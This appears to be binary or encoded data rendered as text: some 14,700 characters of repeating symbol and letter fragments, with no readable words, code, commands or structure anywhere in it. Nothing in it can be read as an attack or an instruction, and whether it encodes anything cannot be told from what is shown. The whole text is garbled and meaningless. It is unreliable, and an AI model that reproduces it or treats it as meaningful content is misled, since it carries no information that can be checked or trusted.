XgUvWRUB]OQRdQ0	cZekNWW	osV6SH?k30`_Q[L4 lXUDWfRUR]OQf RQx	%ZQi?JWX	PsV3SD;232_l[e5 5LXULW8R7UP]CQ3RfQh	 ZY4hWa	BcuVSm/q30e_r[eR RXUTW RUk]GQ= RdQt	eZQjfjWg	i OV3SH4U%_s[eP O1X>UDWR2U@]GQ$RdQ5	gZT5fBWg	B5V6SD3 U-_Q[Pk 5R6XdULW<R7U4]XQ%RQF	ZR@_WW	kOVS3?QW_r[Rl =n6XU\WR Ul]OQfRQV	ZT5#BWU	COVSk4W_Q[Wi yXUPW8R	Uk]uQ"RdQ5	gZZB4|WU	C }V3SWD 3_r[U5 %NXUPW&RUl]aQ"6R?QZ	?ZdP3@WO	@>kVSGo5U!_i[J6 =AXUTW8RUA]4QRdQt	
ZbjhWL	SMVS3?411>_4[VR =D1XUbW&R2UB]XQ RQF	
ZV_5W[	n&MVSj;20`_s[TP 5YXULWfR U4]4Q3RfQh	eZUR36W`	7cuVSm/2 j_O[e4 DXU~W R2UN]eQ=3RdQx	9ZL534WS	niV ST;B6k!_s[S@ %l1X8U@WR7U7]CQ<3RdQZ	
ZW_hWO	SuVSEt 3_0[L4 n7XUDWfRUA]9QdRdQ0	cZVP3TWM	QuV ST7E_p[NB =nXUTWRUk]uQ"RQZ	ZOPNWa	PAVSF00%_V[WR 5hX.U@WRU@]CQ'0RQg	+Zb@3JWg	A5V6SG{ j_O[e4 DXUjW R7U@]GQ$RQV	ZMjfjWW	ouVSD0 V_i[SB =O6XULW&RUB]OQf6R9QZ	 Zbj#hW[	h:kV3SWnV0%_V[WR 5hX.U@WRU@]CQ RfQZ	$ZT_KWO	M 5V6SDBU_G[eP nXUjWR2U@]\QbRQR	
ZV_4WX	PMV3SHkW=_P[NP HX=U?W.R	Uh]aQRQZ	:ZSihWM	@3VSjVT_Q[dR =nXUbW:RUR]_QfRQt	
ZN_hWT	A:kVSF?r0!_G[eP O1X>UDWR2U@]GQ$RdQ5	gZM4jWU	A5V SVR V9_s[c@ zXUjW.R7UC]aQ RdQp	ZQj_Wg	P_V SW00%_F[Wl =nXUrWRUP]KQRQB	%ZR@3IWU	BckVSjVT_1[d_ YXUnWfR2UB][QRQZ	ZR@g|WW	k:}VS04X_1[L@ 2X.ULW R2U@]DQ/3RdQw	$ZdQ0rWM	M kVS10012_P[NP h1X>U@W R7UB]KQRQB	?ZK53TWM	QuV ST7H_s[S@ 5RX UDW.R Ul]_QaRQV	%ZR@3TWM	]OVS3?Q0_r[R@ 5RX UDW R2UN]eQ=3RdQw	cZekNWW	ngsVS3?W10!_G[SB =O6XULW&RUB]OQfRQZ	:ZNB;TWM	S&sVSm#41z_3[e4 DX.UDW8R Ul]_QaRQR	!ZMR35Wg	o5V6SD;qW_3[e5 %l7XUDW&R2U@]eQ1RgQV	ZVQ3FWO	@>VVSm#413_Q[`P %DXU3WfRUh]eQ'0RQg	+Zb@FWO	@>VV6SDrT_\[W_ 3XUjWR2U@]_QRdQ5	ZQi5WM	Po}VS0S7D_Q[X5 %l7XU7W&RUj]CQ RfQR	ZMR;TWW	5VSlD32_v[e5 %l1X>UDWRU5]jQfRQY	bZeR3jWT	A3V3S0D7H1_[WP @XUnWR2UA]uQgRQB	ZeR35W[	ouVSm/2 3_r[U5 %L6X?UTW.R7UA]DQ RQZ	gZaPFWO	@>VVSkS7D_3[e5 %l7XUDW&R2U@]eQ1RgQV	)ZV_5WL	R.MVSl?W13_4[dR 5lXUjWR7UN]OQ=RQh	ZOR35W[	ouVSm/2 3_r[U5 %NXgUvWRUA]8Q"RQB	ZSi5W[	k:MVSmt6k_i[[B 9LXU7WR2UN]eQ6R?QZ	ZUR?HW[	6&VVSD7H_w[LR 531X>UDWfR2UB]aQ'RQZ	!ZVR3hW[	nuVSn?QE!_Q[eO lX9U~WRUk]CQaRQR	 ZMjfBWX	POV3SG{12_l[e7 5NXgUvWRUA]uQ'3RdQZ	ZQj#BWg	@okV STD10!_1[Wl 5DX.UDWRUC]aQRQZ	gZd5#jWL	QkVSm#W 2_P[Oi 90 XdULW&R7UA]uQ=3RdQ5	9ZZBhWL	POVSm41z_P[SO lXULWRUm]KQ RgQR	:ZM5hWa	AMVS3?W0W_l[L@ %NXUTW-RUA]4Q<7RQd	&ZN6;GWW	]>5V6SGfDF_r[`P %DXULW&RUh]eQRQ5	Zd5#BWU	A}V3SD2U_W[dO 9RXUTW&R7UA]uQ=3RdQZ	ZbO5WO	BNVSjq30_O[Pj %D1XU?W-R	UA]yQb RdQt	:Zb@3jWL	R.MVS1r13_r[O6 =AXUnW`RUC]_Q<3RgQR	 ZY5#BWW	7.}V3SDjEa_4[Pj %36XUHW&RUl]XQ.0RQh	 ZMP#HWO	PuV3SG/k30-_o[dk F6X9U3WRUC]aQg6R9Qh	 ZbOhW[	k2OVSnW1m_3[LP `3XUPWRUC]_QRQI	$ZSBGWO	@>uVSGq0T_\[WR 2zXUTW RUl]aQRfQh	!ZVR3hWT	C}VSj4 2=_P[WQ 5@XUnWRUk]yQb1RgQV	ZMB4|Wc	4 OVSl2U_W[dB =nXUTWfR2U@]GQ$RQk	$ZROIWg	COVSlvF_O[[4 36XUTWfR2UB][Qb ReQB	ZdOjWW	h.oV3SXp1z_4[dR 5lXUvW`RUP]GQ'RQZ	 Zb@fBWg	h.kVSm/q10!_l[L@ nXUPWfR7UA]GQRQB	ZdOjWW	h.kVSH;1W=_V[X4 n7XUDWfRUA]9Qe7RQd	ZRO?6Wa	4 oVSjHG=_v[e@ RXUjWR	Ul]aQg6R9Qh	 ZbB?JWW	62uVSl0y13_5[O6 =AXUnW`RUC]_Q<0R QI	fZQk3jWc	4 OVSljEa_4[LB 2z5XeUPWR	Uj]_Q'RQR	$ZY7;jWT	A:MVSj;16m=_V[c@ @XUnWRUm]KQ7RQJ	eZViIW`	M5V6SFr7H1_p[`_ zXUjWR2U@]_Q'RQR	$ZY7;jWT	A:}VSj4 2=_P[O6 =AXUnW`RUC]_Q<0R QI	fZQk3jWc	4 OVSljEa_4[UR =l1XU?WfRUm]KQRQx	9ZeknWO	M&VV3SG$y 3_3[LO lXUjW8R U5]eQ$ RgQR	$ZT5#JWg	SOVSl?q0W2_}[cB 9DXgUvWRUA]zQ.0RQZ	?ZRB35W[	ouV3SG/k322_4[dR 5lXUbWRUP]KQc RgQR	:ZM5#5W`	BuV6SD4 2=_P[S@ 5LXdULW.R7UB]aQ1RdQt	ZU_0rWc	4}V3SDr13_Q[eO lX9U~W8R	Ul][Qb RfQh	ZNi?6WV	4OVSl?q0W2_}[cB 90XUHWR1U@]CQ=3RfQh	$ZTP#JWW	4 OVSFyV_Q[`P %D7XdUTW&R7UA]uQ=3RfQg	bZeR3jWT	A3V3S0D7H1_[WP @XUnWR2UA]uQgRQB	ZeR35W[	ouV3SG/k322_4[dR 5lXUPW8R U5]eQ$RQt	:Zd73NW[	6&VVSGbtF_O[e5 %lXUjWR2U@]_Q<RQ4	bZaP#BWQ	]5V6SFr 3_r[U5 %LX ULW R2U@]DQ/3RdQw	+ZaP#BWQ	]5V6SFr 3_r[U5 %NXgUvWRUA]8Q"RQB	Zd5#jWL	]:OV6SFjEa_4[Wl 5nXUjW R2UB]KQ$1R9QR	!ZeR3IW[	h.iV6SD;k32_4[dR 5lXUbWRUP]KQc7RQB	ZZO5W[	h:sV6SDr7H1_p[`_ yX:UPWR2UA]zQ RQB	&ZN6;GWT	Q:]VSV1W2_4[Rl =n6XU\WR7UP]CQ" R.QJ	!ZVR3hWT	CuVSj;W 3_[X7 =n1XU~W&R7UA]uQ=3RdQ5	 ZT7?BW[	6&VVSG/W33_s[TR 5L6XgUTW`R7UQ]4Qb0R QI	fZaP#5W`	M2OVSn;QE`_p[SA 5@XUnWRUQ]uQd3RdQZ	
ZM_5WL	A2]VSV50_r[RA LXU@W`RUk]yQ RfQZ	:ZY4BWg	o3V3S2bq32_0[WR 537XfUjWR7UN]OQ=RQh	ZOP#hWM	S OV3SH2U_W[dO l6XUTWR U7]eQ3RfQh	!ZVR3hWT	C _VSjHE_p[cl 9RXUTWfR2U@]GQ$ RfQZ	 ZTR;TWa	4 ~VSF?S32=_w[WR 5nXUjWR7UN]OQ=RQh	ZOR;hWg	R.uV3SG/k30-_o[dk F6XUjWRUP]KQc7RQB	ZZ@#5W`	BuV6SFW1z_G[[B 9LXU7WR2UN]eQ6R?QZ	ZUR?HW[	6&VVSD7H_w[LR 531X>UDWfR2UB]aQ'RQZ	eZd5#jWa	AuV6SG#W 2_P[TR 53X UHW.R	Uh]LQ 6R8QB	 ZN6;GWW	]>MV3SH2W_w[WR 5nX9UjW R2UB]KQ$RQI	$ZSAjWc	4 OVSmq0W2_}[c@ YXUTW.R U5]eQ  RdQZ	ZMB?TWQ	POVSm41z_P[SO lXULWRUm]KQRQZ	fZb@hWc	4 OVSlD 3_r[U5 %NXUTW-RUA]4Q<7RQd	&ZN6;GWW	]>5V6SGfDF_r[eO lX9U~WR7UN]OQ3RdQ5	&ZRO5W[	oMVSn?qU_r[RA lXULW&R7UA]uQ=3RdQ5	ZZ@#jWU	C MVSm#W 2_P[[O nXU\WRU7]CQbRQZ	ZRB?6WW	65V6SFr 3_r[U5 %LX9UjWRU6]aQ0RQZ	
ZUR?HW[	6&VVSD7H_w[LR 531X>UDWfR2UB]aQ'RQY	fZQj#5W`	BuVSn;40T_\[WR 2zXUHWRU7]CQg6R9Qh	 ZbOhWU	C }V3SW 2U_W[dO 9RXUTW&R7UA]uQ=3RfQg	fZQj#5WM	]2OVSnW1n_r[Rl =n6XU\WR7UR]XQ.0RQh	 ZMP#HWO	]:sVS1?W z_5[O6 =AXUnW`RUC]_Q<3RgQR	 ZY5#jWM	PuV3SD;2 0`_[W_ 3XULW&R7UA]uQ=3RdQ4	bZMjfjWW	ouVSDV12_w[WR 5nXUbWRUP]KQc7RQB	ZZ@#5W`	BuV6SD;B33_0[e7 5L7XeUPW-R7U@]eQ1RgQU	bZMjfjWW	ouVSDt6k_i[O6 =AXUnW`RUC]_Q<3RgQR	 ZY5#jWM	PuV3SD;2 0`_[W_ h1X>U@W R7UB]KQRQB	ZVPFWO	@>CVSTH32_l[`P ayXUPWRUl]_Q3R.QI	fZbiBWX	SuVSm/21k!_w[WP %DXUHWRU5]eQRQZ	$ZdR3hWT	C _VSjHG=_v[e@ R1X ULWfR2UA]DQ- R>QN	Zd4BWU	M:sV3SFrE`_Q[O6 =AXUnWRUm]KQ7RQJ	ZVj#hW`	M23V3S2bqX_v[cB :{X UHW.R7UA]zQ 0RQh	gZY5#JWL	QsV6SFy30"_r[Tj @XUnWRUl]OQaRQR	&Zbl?TWQ	ROVSl?W13_[W_ 3XUPW.R7UR]XQ.0RQh	 ZMP#HWO	Rc5VSm2U_W[dO 9RXUTW&RUl]aQ"6R?QZ	?ZZB?JWL	PgMV6SH?Q6k_G[TR 9NXgUvWR	UB]OQaRQp	ZVi|Wg	k25VSlv0_r[R@ R6X.UnW:RU7]CQ1RfQ8	$ZSABWU	M 5VSm431_@[WP @XUnWRUk]4Q7RQ1	 ZdB4Wg	@okVSnJW_v[Wl 5HXUPW`R7U|]_Q"1R.QJ	:ZY5#4WL	BkV3SVQ30_\[TR 2zX UjW8R1U@]CQ9RQF	ZdPhW[	h:sVS10012_P[NP 3X U@WR U7]eQ1RfQZ	$Zd7;TWM	]OVS3?Q1m=_\[dR =n7XUPW:R Uj]DQ 1RgQV	ZSl3hWa	@g}VST00W=_V[LB LXUrW:R U7]eQ"RQZ	eZVl3IWg	nsV6SD4U%_[eP O1X>UDWR2U@]GQ$RdQ5	gZQjfjWU	Bc5V6SDjU%_l[Pk 5YXgUPW:R7U^]CQRQI	$ZSABW`	43VSVt6k_q[SO yXUPWR	Uj]\QbRQR	!ZY74|Wa	AoVSH?W3z_0[L@ 0XUrW:R	Uk]uQ'1RdQt	:ZM@hWg	hsVSn'O0`_1[WR 5hX.U@WRUA][Q RgQR	$ZT5#HWO	M MVSlk z_r[cj %36XUHW&RUk][QRQR	$ZY7;jWT	A:kV3SWDU!_v[Pj %NXUPW&R7UA]uQ=3RdQ5	?ZROKWL	@iVSm/q10!_l[L@ n1X9UHW RUh]}QRdQ5	gZdR;TWX	POV3SHQ30"_r[eP %nX U@W.R	Uk]yQ RfQZ	ZdPIWc	6:OVS2r0`_1[Xi nX8U\W R2UC]KQfRQt	
ZN_hWT	A:kVSH8y0X_}[WR =RXUTW-RUR]\Qc6R9Qg	bZQl;BWS	POV3SHQ30"_r[eR =DXfUHWRUh]OQ"3RfQZ	 Zd54WW	sV6SFy30"_r[e_ 90XU3W&R	Uk]uQd1R:QV	)ZdPIWU	A }VSl4X_0[WP %nXU~WR7UQ][Q1R?Q0	cZOOjWL	PMVSkD 3_r[U5 %NXUPW&R	Uk]uQdRQV	ZMjfjWW	ouVSD07H6_5[cj %n6XUbW-R7U^]CQfRQt	
ZN_hWT	A:kV3SH;W32_\[cB 52XUTW-RUR]\Qc1R>QJ	
ZVR;NWL	BNVSG7E_v[Pl 9R7X.UnW RUj]CQ1RgQR	:Zd@3JWg	C&sVSm#41z_3[e4 DX.UDW<R7UC]aQ 3RfQZ	 Zd7?rWS	h3V3Szt j_3[bA p5XgUDWR1UA]CQfRQE	fZWPPWO	]JV5SF?EGa_0[[5 R1XUjW-R7US]aQ-7RQd	&ZN5NWL	PuV6SH?N z_0[L@ 5RXUjW:R7U^]CQRQI	$ZSAjW`	MkVSH;W1z_3[cB =RXU3WR7UA]uQ$R QE	fZM45W`	AsV6SH?k30`_p[WP OXgUvWRUA]8Qc1ReQB	ZZ@IWS	niVSnD6k!_1[c@ %HXUPWfR7UN]LQ.0RQZ	eZSi5W`	@MV SVj z_\[W_ 21XUHW`R7U5]CQ'7RQY	bZVl<WW	6:MVSkq7D_F[[B 9NXgUPW:R1UA]yQ3RdQZ	)ZRBjWW	hiVSD;43_[WP @XUnWRUl]OQ3RfQh	 ZTP#JWW	2]VSV5E_s[T_ 90X.UnW8RUP]GQbRQZ	fZd5#jW`	Q:kV3SF4X_r[UP ay1XUPW.R U6]HQe3R.QI	fZbiBWX	S@VSHj1n_\[`R 2yXULW RUj]eQ1R:QV	Zc4?6WW	k3VSX{7H1_p[O5 HXUnWfR2UA]DQ-RQB	Zd4BWU	M:sV3SFr1_0[dP 527XeUPW<RUl]OQRQY	$Zek@W`	@NVSHD1_s[N@ `LXeU@W.R7UA]GQgRdQ5	gZWjfBWc	6:}VSn'26k_Q[L@ 31X:UbW&R2UN]LQ 3RfQh	
ZV_4WP	C oV3S2sT_1[c@ `DXU~W8R0UP]eQ1RgQR	:ZSl;hWM	]2_VSEV0U"_5[SB R6X.UnW RUj]CQ1RgQR	:Zd@3JWg	C&sVSm#41z_3[e4 DX.UDW<R7UN]}Qd3RfQh	$ZM@#jWc	4 OVSlS l_[[O 2XUjWRU6]aQ0RQZ	
ZU_4WQ	]3V3S2c2U:_4[V_ 3X:UjWR	Uj]_QRQR	 ZY5#HWS	isVSDjE-_o[dk F6XUPW&R7UQ]4QR9QJ	eZQ5rW`	BkVSGf1X_v[UB t1X9UbWRUk]8QRdQI	$ZSAGW`	hcOVSn?`V>_r[SB 53X>UHW8R0U^]}Q9RQ5	ZZO|Wg	k25VSlv6m2_4[[O 35XeUPWR	Uk]GQRdQZ	eZM@#jWO	SsV3SFr0T_G[[B 9NXgUvWRUA]8Qc6R9Qh	'ZRB?TWU	CsV3SFD7H_q[SO D1X?UHWRUh]eQ63RfQh	eZMB?TWU	CsV3SFWE`_Q[O6 =AXUnWRUQ]8Q"RQt	gZVR;5W[	i_VSlrH_i[S@ 5LXgUjW.R	UN]eQbRdQ5	ZQj_WO	F"kVSE;h 3_U[`R 2y7XfUTW-RU^]KQRdQw	cZRO0}Wg	B.OV6SD<x0W=_1[X5 %L7XfUHWR7UQ]5QbRgQV	%ZZA?5W`	AuV6SEj1l9_C[S@ 5NXUTW`RUB][Q$RQt	ZVi5W[	7~V SUD0"_5[SO 6t1X:U@WR7UB]aQ7RQd	ZMP_WO	F"kVSE;NV_r[SA 9n6XU7WfR7U5]CQRQI	$ZSAGW`	k>uV3SD;232=_r[Ri RXU3WRUh]eQ61R?Qw	bZc_5W`	AuVSkD0U_C[SO 9nXUbWfRUk]yQ$RQ5	ZN6;GWW	]>VVSWb56m=_q[SB 9RXU3W.R7UA]zQ.3RdQ4	$ZK6?IWg	C MV3SGT0_Q[c@ YXUjW8RUQ][QRQt	9Zek@W`	k>VVSWb511_@[[@ OX?UTW:R	Uh]KQ6R?Qt	gZb@#NWO	M 5V3SHx0U_3[Ri 36XULWRUP][Q< R.QJ	
ZV_4Wg	]3V3S3q7G_\[e4 D5XfU~W-RUB][Q0RQZ	
ZU_4Wa	4@VSHWX1_i[SB =n6XUDWR	Uj]\QbRQx	eZVQ35WT	A3V3SzO6k_S[c@ azX U@WR	UC]KQ7RQZ	
Zd4BWc	7.~VSDT z_\[dR 5t1X8UPWR7U@]_Q1R:QV	)Zd@KWa	PgoVSG#232=_P[Oi 90XU7WfRUj][Q$0R QI	fZMR3nWS	S3VSl?26k_w[cO NXU\W.R7UA]GQ$RQN	ZePg|WT	C ~V3SX1Ud_}[UP {XUPW.R	Uj]\Qe7RQc	cZbk?IWg	C MV3SGT0_Q[cA 9{1XUbW`R	Uj]eQd6R?QZ	!ZbOHWL	]}V3SG x32_\[O_ nX?UjW-R7U^]CQfRgQV	)Za_?}WU	M25VSm#rk!_v[Pj %VXUDW;R7U7]eQ"1RgQR	 ZMj#JWO	F"^VS3?WX_l[WA 5DXfU~WRUl]_Q<RQB	)Za_?hWU	M25VSm#r1k"_4[PP `DXU@W-R7U^]CQReQA	fZeP34Wa	4 oVSjHE_p[dA DXUTW&R2U@]GQ3RdQ5	ZN6;GWW	]>VVSWb5E_s[T_ 90X.UnW8RUP]GQbRQZ	fZd5#jW`	Q:kV3SF4X_r[UP ay1XUPW.R U6]HQe3R.QI	fZbiBWX	S@VSHj1n_\[ci 36XULW&RUl]LQ%RQZ	$ZMOTWL	B~VSUjE-_o[eP OXUPWR	Uj]GQ$RdQ5	gZVA3BWW	7.oV3SXq7H_\[e4 D5XfU~W=R U4]uQ3ReQR	
ZU@?6WU	Bc}V3SG x30a_r[J6 9O1XUPWR7UA]GQRdQZ	ZbBJWL	BkVSjj1n_\[b_ 36XULW&R
Uj]jQf1RfQZ	:ZcRvW[	7cuVS3?WX_P[U5 5vXUbWfRUk]yQ$R?Qt	 ZQj#lWO	B:3V3S0j1n_\[ci 36XULW&RUl]LQ%RQZ	$ZMOTWL	BNVSEV0U"_5[[B 9NXgUvWRUA]8QcRQF	 ZOQ;GWW	]>VVSW 4U_W[dA DXUvWRUA]zQbRQF	Zek@W`	@NVSH51j_\[cj 5HX8U\WR U4]XQ%ReQA	fZdB4Wg	@oiV3SXWU_r[RA =AXUnW.RUC]_Q<RdQt	
Zd5hWg	hsVSn'O0`_1[TP %l7XU3W8R Ul]\QcRQZ	ZK4?5WL	] }VS2o21_0[L@ %YXUnWR	Um]HQ%RQR	 ZY5#jWL	]:OV6SF51j_\[cj 5HX>UDW&RU@]@Q-6R9Qh	
ZMO_WO	M AVSGfrU:_4[SP `D1X>UDW8R	Ul]KQ 3RfQZ	 ZdOjW[	hciVSD<v31>_5[NB =nXUTWRUk]uQ"RQZ	ZOPNWa	P3VSmsD_v[Oj %NX8U\WR	Um]HQ%RdQt	
ZbjIWQ	S uVS1?S0`_i[e7 RXUPW:R1Uh]}Q RfQg	fZbjTWM	@RVSm2 0_C[NO yXU3W:R Uj]DQ 3ReQB	ZM4jWU	A5V ST0 U%_i[c@ HXUHW RU7]eQ R.QI	cZOOWU	BciVSkVU!_i[J4 906X>UbWRUP]KQaRQR	&ZViwWf	nQVS13{6S!_7[dB k0X:UHWeRU4]eQ93R=Qt	<ZZi]Wf	h>2VS0c229_j[Ul !kXdUbW%R2UQ]jQb0RQE	$ZSAJWU	Bc5VSn?t0U_\[dP 5l7XUbW.R7UN]LQfRQB	&ZN6;GWW	]>3VSm#W 2_l[cj `DXUjW:R2UN]OQd1RgQR	$ZNR?TW`	o2]VSV7E_v[WP %26XeU@WfRUh]}Q3RdQZ	ZU_?IWc	4 uVSk;ET_1[WR =n7XUPWR	Uj]_QRQB	'Zd@TWU	A5V6SG{ j_O[e4 DXUjW R7U@]GQ$RQw	+Zd@fjWW	nguVSmbD0_r[RA A6X9U3W&R	Uk]uQd3RfQZ	$ZM@fJW`	:kV4SU;rX_V[W_ yXU@W`R	Ul][Q R QN	ZeR;hWP	C oVSjHE_r[S@ %lX?U7W&RUj]@QdRQF	ZeAJWM	CkVSV3I3m9_j[NP )[5XUPW'RU5][QbR9Q8	$ZSAGW`	hcuVSm/210e_}[c7 2yXfU~WR7U@]eQ1RgQV	Zbj#hW`	M2NVSG7E_p[dB :z1XUPWR	Uj]_QRQB	
ZdOjWW	h.iVSF232=_r[cj %n6XUbWRU@]eQ"6R?QZ	gZTR?JW`	n_VSjHE_p[dO 9n5XeUPWR	Uk]GQ0RQZ	
ZUP3JWU	B:OVS0;B0U_\[T_ 2XUTWfR2U@]GQ$RQI	$ZSAGW`	k>5V6SGfSW_v[UR zXUPW.R7US]_Q"3RgQR	 ZY5#BWW	6:MVSkWE_o[dk F6X:UnWRUQ]8Q"3RfQZ	 Zd5#hWg	@23VSm#W 2_l[`P `lXU~W`RUR]LQb7RQZ	!ZVR3hWT	A2]VSV5E_p[dO 9nXUPW.R7U@]eQf3RQd	ZT7;hW`	@ouVSk;K1_Q[cj `DXU~WRUC]aQ%1R9Qg	$ZT5#TWW	7 oV3SGc3131_[X5 %36XUHW&R2UB]HQ 6R9Qg	+ZbB?TWU	M5V6SFr12_r[LO R6X8UPW<RUl]OQRQF	&ZeAJWU	Bc5VSn?t0W-_o[[@ %n6XUbW RUh]aQ R.QJ	ZZBHWO	RuVSl?[6m_}[Wj %RXU3W&R7UA]uQ=3RdQZ	ZeR;hWP	C oVSjHE_p[dA LXU3WfRUh]eQ"0RQx	9ZZ@#hW`	M2}VSm2 0`_O[RP 5lXU~WR0U@]CQ$1RgQQ	+ZTR?TWU	M5V6SFr12_r[LO R6X>UbWRUP]KQcRQF	&ZeO?hWU	C }V3SF?03H1_O[eO lX9U~WRU6]aQ'3RdQZ	?ZZBHWO	RuVSl?h1z_l[e7 9RXUTWfR2U@]GQ$1RfQZ	$ZMOTW`	o2]VSV5E_p[dO 9nXUPW.R7U@]eQf3RQd	ZbiBWg	B5V6SDp7D_r[N_ 9nXU\WRU7]CQbRQZ	ZN6;GWW	]>VVSWb57G_\[W_ 3XUPW;R7U6]aQ3RdQZ	gZMj#BWg	@OVSm/q6n1_O[RP 5LXUTWfR2U@]GQ$1RfQZ	$ZMO_W[	6&VVSGb5E_p[cj %n6XUbW&R	Uh]eQ7RQJ	eZY4jW[	h:MV4SD;k6m2_4[`i 6{XUjWR2U@]_Q7RQZ	!ZVR3hW[	nsVSl?SE-_o[dk F6X:UnWRUQ]8Q"3RfQZ	 Zd5#hWa	AsVSknK0`_\[ci D1XU3W R Uk]CQaRQR	&ZeABWO	@uV6SFO30`_Q[O6 A6X:UvWRUA]8QcRQF	&Zbj#5W`	BuV6SF?03H1_O[eO lX9U~WR7UN]OQ3RdQ5	ZSP3JWU	M5V6SFrU_r[RA A6X:UnWRUj]eQg6R9Qh	 Zb@#hWg	@23VS3'W3_P[[B NXU7WfRUj][Q$0R QI	fZMR3nWS	SEVSm#W 2_l[U_ DXU~WRU@]eQg6R9Qh	 ZbOhWa	A5VSGbWU_r[RA A6X:UnWRUj]eQg6R9Qh	 Zb@#hWg	@23VSjv6m2_}[cO 6{XUjWR	Uj]eQbRQZ	ZU_0}W`	noOVSjtX_@[Oi NXU7W`R7U7]GQg6R9Qh	 ZbB3BWU	C OV6SFS7G_w[WR 5nX?ULW RUj]eQRQ5	&ZN6;GWW	]>VVSWb57G_w[WR 5nX9U3W R1UA]CQ<3RgQR	 ZY5#jWg	iOV6SD;t7D_r[NP "zX>UDWRUh]aQ R.QJ	ZU_?hWc	4 OVSmB0U_\[TR 9NXgUvWRUA]8QcRQF	&Zbj#5W`	BuV6SF?03H1_O[eO lX9U~W.R	Uk]GQd RdQ5	ZSP3jWQ	R.MV4SFr13_}[UR 9RXUTWfR2U@]GQ$1RfQZ	$ZMOTW`	o2]VSV5E_p[dO 9n5XeUPWR	Uk]GQ"0RQx	9ZZ@#5W`	BuV6SD<{ 3_l[e4 6{XUjW&RUk]DQ R?QZ	eZbO4WP	BcuV3SG/k30_Q[dR =nXUPW<RUl]OQRQF	&ZeAJWU	M5V6SFr32_1[S4 6zXUPW.R7U@]GQ RgQR	9ZZBHWO	BcOV3SD<{12_r[LO YXgUvWRUA]8QcRQF	&Zbj#5W`	BuV6SF?03H1_O[UP %D1XULW&RUh]eQ RfQZ	 Za_6WQ	P:iVSl?16m=_V[cO n7XUDWfRUQ]CQaRQR	&ZeAGW`	hcuV3SG/k32=_\[eP 90XUvWR	Uk]uQ$ RfQR	
ZQ73hW`	B:5V3S0;K0_l[cB 9RXUTWfR2U@]GQ$1RfQZ	$ZMOTW`	o2]VSV5E_p[dO 9n5XeUPWR	Uk]GQ"0RQZ	
ZeP0}WO	A:3VSm#W 2_l[cj `HXgUvWRUA]8QcRQY	$Zek@W`	k>CVSj?VU!_O[T_ lX9U~WRUP]KQcRQZ	:Za_|W[	oNVSF?t6k_1[cj `26X>UbWRUP]KQcRQZ	:Za_|W[	oNVSF?16m=_V[c@ %nXUPW<RUl]OQRQF	 Zb5g|WW	i}VSmt6k_i[T_ 9nXUPW.R	UC][QRQI	$ZSABWO	M&VVSG/w1z_0[e7 =RXU3W&R	Uk]uQd3RfQZ	$ZM@fJW`	o2]VSV5U!_3[Wi hXU@W`R	Uk]yQ RfQZ	:ZbjfBWU	M:NVSG7E_p[cj %n6XUbWRUk]8QRdQ5	%ZZBTWa	2]VSV533_0[e5 %l7XUvWfRUC]_Q"3RfQZ	 Zd5#hWa	AsVSl4131_s[ci zX>UPW8RUR]LQ%RQB	
ZbiBWg	BcsV3SW 2U_W[dA l6XUTWRU@]eQ"6R?QZ	gZbjfvW[	7uV3SG/k322_4[dR 5lXUTWRUh]HQb7RQc	cZa_?6W`	63V3SWnt32_v[e5 %n1XUbW`RUk]yQ RfQZ	:ZaPfjWO	R.3VST40`_[`_ 906X?UTWRUl]OQRQF	&ZeO?IWU	C5VSn'0331_s[NP n1XUTWRUA]9QdRQF	ZeAGW`	@NVSH5U!_i[S@ azX:UjW.RU6]XQbRQV	)Za_?IWU	C5VSn'0336_5[[@ 2XeU\WR7UB]KQ RQZ	eZbB4Wc	7.}VSj0W_0[W_ 0XUvWR	Uh]OQ1R.QA	bZeR3jWT	A:@VSE;1 z_3[L_ {X9UTW<R7U4][Q R.QI	bZT74W[	nguV6SD<yV>_r[eR =n1XUPW.R7U|][Q RfQZ	$ZT_rWL	]:OV6SF4 l_[[O 2XUDWfR	Uk]uQ0RQR	)Za_0}WS	hoV3S2s7H1_p[O6 =AXUnWRUQ]uQRQB	)ZOB;hWS	PMVSm/tW_@[NP HXU~W8R7UP]CQ' R.QN	Zd5fBW`	|"iVSm#V 2_G[S@ %37XUvW&RUB]OQfR QJ	 ZaP$|WU	C OV3SE;OX_Q[U_ DXU~W:RUk][QRQo	cZQj3TWM	]OVSjv0%_F[Wl =nXUrW`R7U4]9QdRQF	ZeAGW`	@NVSH5W_G[J5 5n7XUTWfR U5]eQ$3RdQo	$Zd_5Wa	AsVSn'J13_v[Pl =YXUTWRUj]eQ1RgQV	fZc4?6Wa	7:3VSl?W13_\[eP 90XU7W&RUh]jQ.3RdQZ	gZQ73hW`	B:5V3S0;K1n_O[b4 906X>UbW8R Ul]_Q<1R:QV	
ZbiBWg	BcsV5SGj33_v[X5 %lXUjWR2U@]_Q< R?Q4	cZZ@3TWM	]:iVSkVW_G[J4 906X>UbWRUP]KQcRQF	 ZQl?TWa	>MVSkD 3_0[L4 37XULW:R7U^]CQ'7RQZ	
ZV_5WU	M hV3S0;QW_v[U5 %LXUjW-R7U^]@Qc1R>QN	
Zbj34Wa	4 oVSjHE_p[dO RXUTW:R U7]eQ"RQY	bZVl<Wg	M:}V STQ1k-_F[Wl =nXUrW`R7U4]9QdRQF	ZeAGW`	@NVSH5W_G[SB 53X UHW.R7UN]OQRgQV	)ZVPFWO	@>VVSWb511_@[[@ 5n7XUTWfR U5]eQ$3RdQo	$Zd_5Wa	AsVSn'J13_v[Pl =YXUTWfR2U@]GQ$1RfQZ	:Zd73JWg	]3V3S3q7G_\[W_ 3XUPW;R7U6]aQ3RdQZ	gZMj#BWg	@OVSm/q6n1_O[R_ 2XUHW`R7U4]9QdRQo	cZZO4WU	Bc5VSn?t0W-_o[[@ %n6XUbW RUh]aQ R.QJ	ZZBJWL	BiVSD;43_s[Wj R7XeUPW<RUl]OQRQF	&ZeOTWP	BiVSnD6k!_1[c@ %HXUPWfR7UN]LQ.0RQZ	eZSi5W`	@MV SV16m=_V[cO nX:UbWRUh]aQ-7RQd	)Za_?hWU	C }V3SF?03H1_O[UP %D1XULW&RUh]eQ RfQZ	 Za_6WQ	P:~V3SU;{7H1_p[O5 HXUTW-R7UP]eQ"6R?QZ	gZbjfvW[	7uVSm/212_l[e7 5LXUjW-R7U^]@Qc1R>QJ	+ZK4?6WL	BcuVSm/232_1[S4 6z5XeUPWR	Uk]GQ R QI	bZbO4WQ	P:~V3SX51j_\[cj 527XeUPW<RUl]OQRQF	&ZeOTWP	BiVS1?tW_4[Wl :y1XUjW.RUR]\Qc0RQ5	ZU_5W[	kiVSn?`0U_w[d_ z1X:UbWfRUj]@Q RQR	
